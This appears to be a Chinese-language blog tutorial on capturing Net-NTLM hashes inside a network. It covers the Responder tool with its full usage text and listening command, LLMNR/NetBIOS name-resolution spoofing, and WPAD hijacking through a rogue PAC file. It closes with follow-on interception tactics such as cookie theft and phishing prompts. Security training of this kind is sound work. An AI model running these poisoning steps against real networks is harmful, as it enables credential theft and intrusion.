前言
在上一节中,我们学习了 NTLM 的概念与 NTLM 身份认证的流程。在这篇文章中,我们将详细的介绍在内网中发送 NTLM 请求的方式,为的是给下一篇我们学习如何利用 NTLM 进行攻击打下基础。
通过控制内网主机发送 NTLM 请求,我们可以使用 responder 等工具截获主机用户的 Net-NTLM Hash,此 Hash 虽然不能进行哈希传递,但是有了Net-NTLM Hash之后,我们可以对 Net-NTLM Hash 进暴力破解、或重放,从而实现内网的横向渗透。
文中若有不当之处,还请各位大佬师傅们多多点评。
我的博客:https://whoamianony.top/
公众号:WHOAMIAnony
Responder 工具
项目地址:https://github.com/SpiderLabs/Responder
Responder 工具是一款可以在局域网模拟各种服务器进行中间人攻击的内网渗透神器。其可以在局域网中进行 DNS 欺骗、LLMNR 欺骗等,实现对用户 NTLM 口令的探测以及 DNS 钓鱼,同时其还可以模拟包括 FTP、HTTP 在内的多种服务器,并记录用户登录凭证。
Usage: responder -I eth0 -w -r -f or: responder -I eth0 -wrf Options: --version show program's version number and exit -h, --help show this help message and exit -A, --analyze Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding. -I eth0, --interface=eth0 Network interface to use, you can use 'ALL' as a wildcard for all interfaces -i 10.0.0.21, --ip=10.0.0.21 Local IP to use (only for OSX) -e 10.0.0.22, --externalip=10.0.0.22 Poison all requests with another IP address than Responder's one. -b, --basic Return a Basic HTTP authentication. Default: NTLM -r, --wredir Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False -d, --NBTNSdomain Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False -f, --fingerprint This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query. -w, --wpad Start the WPAD rogue proxy server. Default value is False -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port) -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False --lm Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False -v, --verbose Increase verbosity
在之后的操作中,我们都会使用这个工具截获受害人的 Net-NTLM Hash。
利用 LLMNR 和 NetBIOS 欺骗
LLMNR 是什么?
链路本地多播名称解析(LLMNR)是一个基于协议的域名系统(DNS)数据包的格式,使得双方的IPv4和IPv6的主机来执行名称解析为同一本地链路上的主机。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR本地链路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。
当一台主机想要访问到另一台主机时,主机在自己的内部名称缓存中查询名称,如果在缓存中没有找到名称,那么主机就会向自己配置的DNS服务器发送查询请求,如果主机没有收到回应或收到了错误信息,即DNS解析会失败,那么就会转为使用LLMNR链路本地多播名称解析。
使用链路本地多播名称解析时,主机会通过 UDP 向局域网内发送多播查询,查询主机名对应的IP,查询范围被限制在本地子网内。本地子网内每台支持LLMNR的主机在收到这个查询请求后,收到该请求的主机会判断自己的主机名是不是这个查询的主机名。如果是,这台主机会回复自己IP地址给请求该查询的主机;如果不是,则丢弃该请求。
NetBIOS 是什么?
Netbios(Network Basic Input Output System):网络基本输入输出系统,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。严格来说,Netbios是一种应用程序接口(API),系统可以利用WINS服务、广播及Lmhost文件等多种模式将NetBIOS名解析为相应IP地址,几乎所有的局域网都是在NetBIOS协议的基础上工作的。NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS的工作流程就是正常的机器名解析查询应答过程。在Windows操作系统中,默认情况下在安装 TCP/IP 协议后会自动安装NetBIOS。
Windows系统名称解析顺序
1.本地hosts文件(%windir%\System32\drivers\etc\hosts)
2.DNS缓存/DNS服务器
3.链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)
也就是说,如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称。这就产生了一个安全问题。由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。通过工具监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。
利用过程
我们利用SMB协议获取目标网络中计算机的Net-NTML Hash。当用户输入 不存在、包含错误或者 DNS中没有的主机名时,主机先在自己的内部名称缓存中查询名称,如果没找到,主机就会向DNS服务器查询,而DNS解析必定会失败,此时就会退回LLMNR和NetBIOS进行计算机名称解析。那么攻击者就能够代替网络上任何不存在的主机回答请求,并诱导搜索内容的主机连接到我们。如果攻击者使用 Metasploit 和 Responder 等工具,就可以要求验证受害者主机的身份,而如果攻击者被认为是这些主机所在的本地网络中的一部分时,他们就会把自己进行哈希后的Windows凭据发给攻击者。核心过程与Arp欺骗类似。
在攻击机Kali上使用 responder 工具开启监听:
responder -I eth0 -f -v
-I:指定使用的网卡
-f:允许攻击者查看受害者的主机指纹
-v:显示详细信息,responder 在截获目标的 Net-NTLM Hash 后,会将 Net-NTLM Hash 记录在日志中,之后再次截获将不再显示 Net-NTLM Hash,要想再次显示 Net-NTLM Hash 则需要加上这个
-v
选项
如上图,“ON”代表针对服务数据包的监听开启,“OFF”代表关闭监听。
然后,当受害者访问一个不存在的主机资源时,比如:
net use \\bunny
dir \\bunny\c$
也可以在“运行”里面连接:
此时会尝试连接主机“bunny”,然而通过检查内部名称缓存和DNS都没找到,就会通过LLMNR和NetBIOS,在局域网中进行搜索。
此时攻击者的responder便收到了受害者用户的Net-NTLM Hash:
利用 WPAD 劫持
PAC:
全称代理自动配置文件(Proxy Auto-Config),该文件定义了浏览器和其他用户代理如何自动选择适当的代理服务器来访问一个URL。要使用 PAC,我们应当在一个网页服务器上发布一个PAC文件,并且通过在浏览器的代理链接设置页面输入这个PAC文件的URL或者通过使用WPAD协议告知用户代理去使用这个文件。在 WPAD 标准中,PAC 文件使用 wpad.dat,PAC文件举例:
#!js function FindProxyForURL(url, host) { if (url== 'http://www.baidu.com/') return 'DIRECT'; if (host== 'twitter.com') return 'SOCKS 127.0.0.10:7070'; if (dnsResolve(host) == '10.0.0.100') return 'PROXY 127.0.0.1:8086;DIRECT'; return 'DIRECT'; }
WPAD:
WPAD 网络代理自动发现协议是一种客户端使用 DCHP、DNS、LLMNR、NBNS 协议来定位一个代理配置文件(PAC)URL的方法。WPAD 通过让浏览器自动发现代理服务器,查找存放 PAC 文件的主机来定位代理配置文件,下载编译并运行,最终自动使用代理访问网络。
在浏览器设置为 “自动检测代理设置” 的情况下,用户在访问网页时,首先会查询 PAC 文件的位置,然后获取 PAC 文件,将 PAC 文件作为代理配置文件。查询 PAC 文件的顺序如下:
1.通过 DHCP 服务器
2.查询 WPAD 主机的IP
- Hosts
- DNS (cache / server)
- LLMNR
- NBNS
这个地方就涉及到两种攻击劫持的方式。
配合 LLMNR/NBNS 投毒
一个最早的攻击也是最典型的劫持方式就是利用 LLMNR/NBNS 欺骗来让受害者从攻击者获取 PAC 文件,PAC 文件指定攻击者就是代理服务器,然后攻击者就可以劫持受害者的 HTTP 流量,在其中插入任意 HTML 标签从而获得用户的 Net-NTLM Hash。
当你的浏览器设置为如下图所示的 “自动检测代理设置” 的情况下:
在受害者在访问网页时,会首先查询 PAC 文件的位置。假设查询的地址是 WPAD/wpad.dat 且 WPAD 是个错误的域名,如果没有在域内专门配置这个域名的话,那么 DNS 解析失败的话,就会使用LLMNR 发起广播包询问 WPAD 对应的 IP 是多少,这时候 Responder 通过 LLMNR 投毒将这个不存在的 WPAD 的 IP 指向 Responder 所在的服务器。然后受害者会下载攻击者事先准备好的 wpad.dat 文件,之后攻击者就可以劫持受害者的 HTTP 流量,客户端的流量就会经过攻击者的机器。
Responder 会通过伪造如下 PAC 文件将代理指向 ISAProxySrv:3141:
function FindProxyForURL(url, host){ if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv") ||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
受害者会使用 ISAProxySrv:3141 作为代理,但是受害者不知道 ISAProxySrv 对应的 IP 是什么,所以会再次查询,Responder 再次通过 LLMNR 投毒进行欺骗。将 ISAProxySrv 指向 Responder 本身,然后开始中间人攻击。这个时候可以做的事就很多了,比如插入 XSS Payload 获取 Net-NTLM Hash,中间人获取Post,Cookie等参数,通过 Basic 认证进行钓鱼,诱导下载exe文件等,